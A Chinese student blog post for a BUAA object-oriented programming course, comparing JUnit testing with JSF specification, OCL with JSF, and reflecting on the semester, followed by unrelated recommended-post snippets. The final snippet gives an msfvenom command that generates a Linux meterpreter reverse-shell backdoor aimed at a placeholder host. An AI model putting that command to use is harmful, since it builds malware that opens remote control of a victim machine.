[BUAA OO]第四次博客作业
一、 测试与正确性论证的区别
在最后一个单元的OO作业中,我们主要进行了代码的测试与正确性论证工作。这俩者在作业中的体现分别是junit单元测试以及jsf论述语言。这两者在java代码开发中分别能够帮助我们检测代码、测试代码,最终起到对工程正确性进行检测的功能。
这二者就好比一个是完成前的完整性检查,一个是完成后的正确性测试。当然了,理论上来说,这两者之一都可以帮助我们避免代码中问题的出现,但是更保险一点又有谁会反对呢?
先说说junit单元测试。这个相比jsf论述语言,应该是我们比较熟悉的一个了。就像我们平时完成代码后的功能测试一样,junit通过编写能够完整覆盖代码逻辑分支、语句分支的测试样例,对每一个功能单元进行测试,并与预期结果进行比对,从而起到辅助程序员规避代码bug的功能。这种方法十分亲民,但是,却有着一定的问题。经过实践发现,由于逻辑本身存在的问题,虽然使用的测试样例达到了代码覆盖率100%,逻辑分支覆盖率100%,但是样例过于简单,没有在数据范围上完整覆盖所有区间,在通过单元测试之后,仍然导致了问题的出现。
这就需要jsf论述语言来帮我们规避问题。jsf论述语言,在刚开始学习的时候让我们感到无比头痛。毫不亲民的语言格式,不直观的展示方式,啰嗦的描述方式,让我对其功效一度产生了怀疑。但这却能让我们规避junit所无法规避的问题,那就是在逻辑上对实际实现的代码与程序员所构思的程序应该具有的功能做比较。在这个单元的学习中,我就通过jsf论述成功发现了我的第三次OO作业中的一处逻辑漏洞,是判断语句中数据覆盖不完整导致的,如果不使用极其特殊的测试样例,使用junit单元测试就很难发现其中的问题。
二、 OCL VS JSF
OCL(Object Constraint Language)语言,即对象约束语言,跟jsf语言一样,是声明式语言,对于方法只关心做什么、效果怎样,而具体如何实现,则不关心。都是使用逻辑表达式来描述具体的约束内容,采取了类似前置条件,后置条件,不变式这样的语法。但是OCL通常会结合uml类图来使用,相比jsf的约束性也更广。
三、 第十四次作业总结


以上是我的时序图和uml图。
四、 学期总结
这学期的面向对象程序设计课程主要进行了四个单元的练习,分别以基础java程序设计,基础多线程程序设计,进阶多线程程序设计、jsf论述入门,以及jsf论述进阶、junit单元测试为主。在整体上来看,逐步深入,每个单元的作业由三次程序作业组成,按照指导书加答疑的方式布置内容,要求我们有非直观信息的理解能力。
这个学期的作业我做起来还是相当认真的,每次都是“谋定而后动”,中间的电梯第二次作业还在周一晚上由于逻辑设计的问题重构过一次,整体上来说应该算是质量不低的。但事实却跟我想的有点区别。第一次单元测试作业,让我们测试第三次作业(也就是第一次电梯作业)。在回顾的时候,简直惨不忍睹。虽然作业整体功能上没有出现问题,但是各种变量名混乱、类功能混乱、对于同一个信息的检测分割在不同类中,羞于承认这是我写的。进而整体重构了一遍。在羞愧之余,我却发现,这何尝不是一种提高呢?在当时我那样设计,虽然已经忘记了当时的初衷,但是现在对于当初的鄙夷不正是表现了我对于清晰的面向对象程序的认识与向往么?这种提高每次一都很小,但是12次作业积累下来,简直让人无法相信这些都是同一个人写的。不可谓提高不小。
[BUAA OO]第四次博客作业的更多相关文章
- OO第四次博客作业!
oo第四次博客作业 一.测试与正确性论证比较 测试只是单方面片面的证明对于当前的输入程序是正确的,测试只能证明程序有错误,不能说明程序是对的. 正确性论证是程序达到预期目的的一般性陈述,是通过规范化的 ...
- OO第四单元博客作业
OO第四单元博客作业 BUAA_1706_HugeGun 目录 第四单元作业架构设计 四个单元架构设计及OO方法理解 四个单元测试理解与实践演进 课程收获 一点建议 第四单元作业架构设计 ### 第十 ...
- [BUAA OO]第三次博客作业
OO第三次博客作业 1. 规格化设计的发展 我认为,规格化设计主要源自于软件设计的两次危机.第一次是由于大量存在的goto语句,让当时被广泛应用的面向过程式的编程语言臃肿不堪,在逻辑性上与工程规模上鱼 ...
- OO第四次博客作业(第四单元作业及期末总结)
(注意:本文写作顺序与作业要求不完全一致,但涵盖了作业的所有要求) 一学期的BUAA特色OO课程结束了. PART 1 我想先写我这一学期的感想 从第一单元满怀期待地写完多项式求值到最后看着60分不 ...
- OO第四次博客作业--第四单元总结及课程总结
一.总结第四单元两次作业的架构设计 1.1 第一次作业 类图如下: 为了突出类.接口.方法.属性.和参数之间的层次结构关系,我为 Class 和 Interface 和 Operation 分别建立了 ...
- oo第四篇博客作业
测试与正确性论证的效果差异及各自的优缺点: 测试针对一些典型的输入情况进行方法验证,可操作性更强,结果直观.但不能完全覆盖所有的输入情况. 正确性论证则是根据代码逻辑从所有的方面对方法进行论证,可操作 ...
- OO第四次博客作业
测试与正确性论证的效果差异及其优缺点 测试是利用测试代码,通过编写测试用例来验证代码是否能正常完成所要求的功能,自动测试相较于正确性论证来说更加的直观,直接测试代码的功能,而正确性论证是在JSF的基础 ...
- OO第三次博客作业——规格
OO第三次博客作业——规格 一.调研结果: 规格的历史: 引自博文链接:http://blog.sina.com.cn/s/blog_473d5bba010001x9.html 传统科学的特点是发现世 ...
- OO第4次博客作业
OO第4次博客作业 一.第4单元设计 第四单元主要围绕UML图的结构进行JAVA代码编写,对JAVA的层次结构进行更多的认识.个人认为编程操作在实质上与上一章的PathContainer有许多的相同之 ...
随机推荐
- GHOST自动恢复说明
制作一个自己DIY的PE系统,然后自动安装系统使用如下步骤... 1: 首先要解包PE ISO文件,在解压ISO中的WIM文件.使用工具是7Zip,可以直接解压 2: 其次在放入替换的exe文件. ...
- Python中sys模块sys.argv取值并判断
#!usr/bin/env python # -*- coding: utf-8 -*- # Author:Sun Xiaolin import sys judgement = sys.argv[1] ...
- SEO优化上首页之搜索引擎作弊案例与反作弊原理
搜索引擎流量价值巨大,有不少人专门研究排名机制,利用搜索引擎漏洞作弊,寻求快速提高网站排名,进而获取更多的流量和利益,甚至有的网站优化公司专门提供作弊服务.搜索引擎为了杜绝这种情况,必须能过滤大量垃圾 ...
- kotlin使用anko在Android中实现Activity跳转,超优雅!
//正常跳转 startActivity<RegisterActivity>() //携带参数 startActivity<ResetPwdActivity>("ke ...
- 20155217 2016-2017-2 《Java程序设计》第9周学习总结
20155217 2016-2017-2 <Java程序设计>第9周学习总结 教材学习内容总结 JBDC是用于执行SQL的解决方案,开发人员使用JDBC的标准接口,数据库厂商对接口直接操作 ...
- 课下测试补交(ch03 ch08)
课下测试补交(ch03 ch08) 课下测试 ch03 1.有关gdb调试汇编,下面说法正确的是(ABCE) A . 可以用disas反汇编当前函数 B . 以16进制形式打印%rax中内容的命令是 ...
- updated stream stash changes
处理的方式非常简单,主要是使用git stash命令进行处理,分成以下几个步骤进行处理. 1.先将本地修改存储起来 $ git stash 这样本地的所有修改就都被暂时存储起来 .是用git stas ...
- c++ 自定义类型,函数指针类型
用typedef定义函数指针类型 -函数指针和函数指针数组 46课里边有如下代码 int add(int a,int b,int d) { return a+b+d; } int mul(int a, ...
- cogs2479 偏序 cdq+树套树
cdq+树状数组套替罪羊树. cdq归并a,树套树解决b,c. 记住平衡树树根不能暴力清零!!! // It is made by XZZ #include<cstdio> #includ ...
- msfvenom生成linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf